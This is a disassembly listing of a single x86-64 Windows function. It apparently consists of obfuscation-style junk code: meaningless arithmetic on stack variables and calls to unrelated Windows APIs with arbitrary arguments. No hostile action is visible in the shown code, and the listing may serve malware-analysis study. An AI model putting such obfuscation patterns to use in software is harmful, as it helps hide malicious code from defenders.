mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
call qword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [rsp + 0xa828], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa854]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
jmp 0x14030e7c9
mov eax, dword [rsp + 0x8604]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x41930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41930]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0xa7b4]
mov edx, dword [rsp + 0xa81c]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14030e66e
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13090]
mov qword [rsp + 0x41938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41938]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa774], eax
mov r9d, 0x47
mov r8d, 0x33
mov edx, 1
mov rcx, qword [rsp + 0x12ed8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x418e8], rax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0x8604]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov ecx, 2
call qword [sym.imp.USER32.dll_SetCaretBlinkTime]
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7d0], eax
jmp 0x14030e7c9
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x6b1]
and ecx, edx
cmp eax, ecx
jle 0x14030e7c9
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
lea r8, [rsp + 0x12fb8]
lea rdx, [rsp + 0x13048]
lea rcx, [rsp + 0x418e8]
call qword [sym.imp.USER32.dll_SubtractRect]
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
sub eax, ecx
mov word [rsp + 0x1784], ax
mov eax, dword [rsp + 0x8604]
movzx ecx, al
mov eax, dword [rsp + 0xa804]
sar eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa804]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x41940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41940]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
mov eax, dword [rsp + 0xa804]
mov ecx, dword [rsp + 0xa81c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x1784]
sub eax, ecx
mov word [rsp + 0x2990], ax
lea rdx, [rsp + 0x6b0]
mov rcx, qword [rsp + 0x12f08]
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0xa828], eax
jmp 0x14030ea02
movsx eax, byte [rsp + 0x43e]
and eax, 0x5a
movsx ecx, byte [rsp + 0x6b0]
cmp eax, ecx
jg 0x14030e939
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
shl eax, cl
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6b0]
sar eax, 4
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
movzx eax, byte [rsp + 0x43d]
and eax, 0x78
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14030ea02
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0x4e0
movzx ecx, word [rsp + 0x298c]
cmp eax, ecx
jg 0x14030ea02
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0xae5
mov word [rsp + 0x298c], ax
mov r8d, 1
mov rdx, qword [rsp + 0x13080]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
sub eax, 0xb91
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x43d]
xor eax, 0xd2
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
xor r8d, r8d
mov rdx, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0xa7d8], eax
jmp 0x14030ebd0
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
or eax, 0x9f0
movzx ecx, word [rsp + 0x298c]
cmp eax, ecx
jge 0x14030ebd0
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0x6b0], al
mov eax, dword [rsp + 0xa78c]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea r8, [rsp + 0x12f80]
lea rdx, [rsp + 0x12fd8]
lea rcx, [rsp + 0xa7e4]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0xa80c], eax
movzx eax, byte [rsp + 0x43d]
sub eax, 0xc8
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
sub eax, 0xc0f
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0x1e
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
xor eax, 0x34
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x41948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41948]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0x7d
lea rax, [rsp + 0x12f38]
mov qword [rsp + 0x20], rax
mov r9d, 0x3f
lea r8, [rsp + 0x12fa8]
lea rdx, [rsp + 0x41968]
lea rcx, [rsp + 0x12ed8]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0xa7e8], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x41950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa7b4], eax
movzx eax, byte [rsp + 0x43d]
and eax, 0xc
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
or eax, 0xdd
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea r8, [rsp + 0x49f10]
mov dx, 0x9b
mov cx, 9
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0xa77c], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xa7b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xa978]
add rsp, 0x4a9c8
pop rdi
pop rsi
ret